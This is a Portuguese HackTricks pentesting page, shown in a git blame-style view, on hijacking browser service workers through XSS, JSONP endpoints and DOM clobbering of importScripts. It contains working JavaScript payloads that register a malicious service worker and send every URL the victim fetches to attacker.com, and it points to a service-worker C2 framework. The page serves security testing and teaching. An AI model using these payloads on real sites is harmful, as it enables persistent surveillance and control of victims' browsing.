hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

106 lines
7.5 KiB
Markdown
Raw Normal View History

2023-06-06 18:56:34 +00:00
# Abusando dos Service Workers
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Um service worker é um **script** que o seu navegador **executa** em segundo plano, separado de uma página da web, abrindo portas para recursos que não precisam de uma página da web ou interação do usuário. ([Mais informações sobre o que é um service worker aqui](https://developers.google.com/web/fundamentals/primers/service-workers)).\
Então, você pode abusar dos service workers **criando/modificando-os** na **sessão da vítima** dentro do **domínio vulnerável** da web que concede ao **atacante o controle** sobre **todas as páginas** que a **vítima** carregará **naquele domínio**.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
### Verificar SWs existentes
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Você pode vê-los no campo **Service Workers** na guia **Application** das **Ferramentas do Desenvolvedor**. Você também pode olhar em [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals).
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
### Notificações Push
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Se a vítima não concedeu permissões de **notificações push**, o service worker **não poderá receber comunicações do servidor se o usuário não acessar a página do atacante novamente**. Isso irá **prevenir**, por exemplo, manter conversas com todas as páginas que acessaram a página da web do atacante, então, se uma exploração for encontrada, o SW pode recebê-la e executá-la.\
No entanto, se a vítima **conceder permissões de notificações push, isso pode ser um risco**.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
## Ataque criando um Service Worker
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Para explorar essa vulnerabilidade, você precisa encontrar:
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
* Uma maneira de **carregar arquivos JS arbitrários** no servidor e um **XSS para carregar o service worker** do arquivo JS carregado
* Uma **solicitação JSONP vulnerável** onde você pode **manipular a saída (com código JS arbitrário)** e um **XSS** para **carregar o JSONP com um payload** que irá **carregar um service worker malicioso**.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
No exemplo a seguir, vou apresentar um código para **registrar um novo service worker** que ouvirá o evento `fetch` e **enviará para o servidor do atacante cada URL buscado** (este é o código que você precisaria **carregar** no **servidor** ou carregar via uma resposta **JSONP vulnerável**):
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
2023-06-06 18:56:34 +00:00
E este é o código que irá **registrar o worker** (o código que você deve ser capaz de executar abusando de um **XSS**). Neste caso, uma solicitação **GET** será enviada para o servidor do **atacante**, **notificando** se o **registro** do service worker foi bem-sucedido ou não:
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
```
2023-06-06 18:56:34 +00:00
No caso de abusar de um ponto de extremidade JSONP vulnerável, você deve colocar o valor dentro de `var sw`. Por exemplo:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
2023-06-06 18:56:34 +00:00
Existe um **C2** dedicado à **exploração de Service Workers** chamado [**Shadow Workers**](https://shadow-workers.github.io) que será muito útil para abusar dessas vulnerabilidades.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Em uma situação de XSS, o limite de diretiva de cache de 24 horas garante que um SW malicioso ou comprometido sobreviva a uma correção da vulnerabilidade XSS por um máximo de 24 horas (supondo que o cliente esteja online). Os operadores do site podem reduzir a janela de vulnerabilidade definindo TTLs mais baixos em scripts SW. Também incentivamos os desenvolvedores a [criar um SW de desativação](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776).
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
## Abusando do `importScripts` em um SW via DOM Clobbering
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
A função **`importScripts`** chamada de um Service Worker pode **importar um script de um domínio diferente**. Se essa função for chamada usando um **parâmetro que um atacante poderia** modificar, ele seria capaz de **importar um script JS de seu domínio** e obter XSS.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
**Isso até mesmo contorna as proteções CSP.**
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
**Exemplo de código vulnerável:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
```
2023-06-06 18:56:34 +00:00
* **sw.js**
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
O arquivo `sw.js` é um arquivo JavaScript que é executado pelo Service Worker. Ele é responsável por interceptar as solicitações de rede feitas pelo aplicativo e pode ser usado para armazenar em cache recursos para uso offline. O `sw.js` também pode ser usado para interceptar e manipular solicitações de rede, o que pode ser explorado em ataques de XSS.
2022-12-20 11:25:07 +00:00
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2023-06-06 18:56:34 +00:00
### Com DOM Clobbering
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Para obter mais informações sobre o que é o DOM Clobbering, consulte:
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
2023-06-06 18:56:34 +00:00
Se a URL/domínio que o SW está usando para chamar **`importScripts`** estiver **dentro de um elemento HTML**, é **possível modificá-lo via DOM Clobbering** para fazer o SW **carregar um script do seu próprio domínio**.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
Para um exemplo disso, consulte o link de referência.
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
## Referências
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-12-20 11:25:07 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>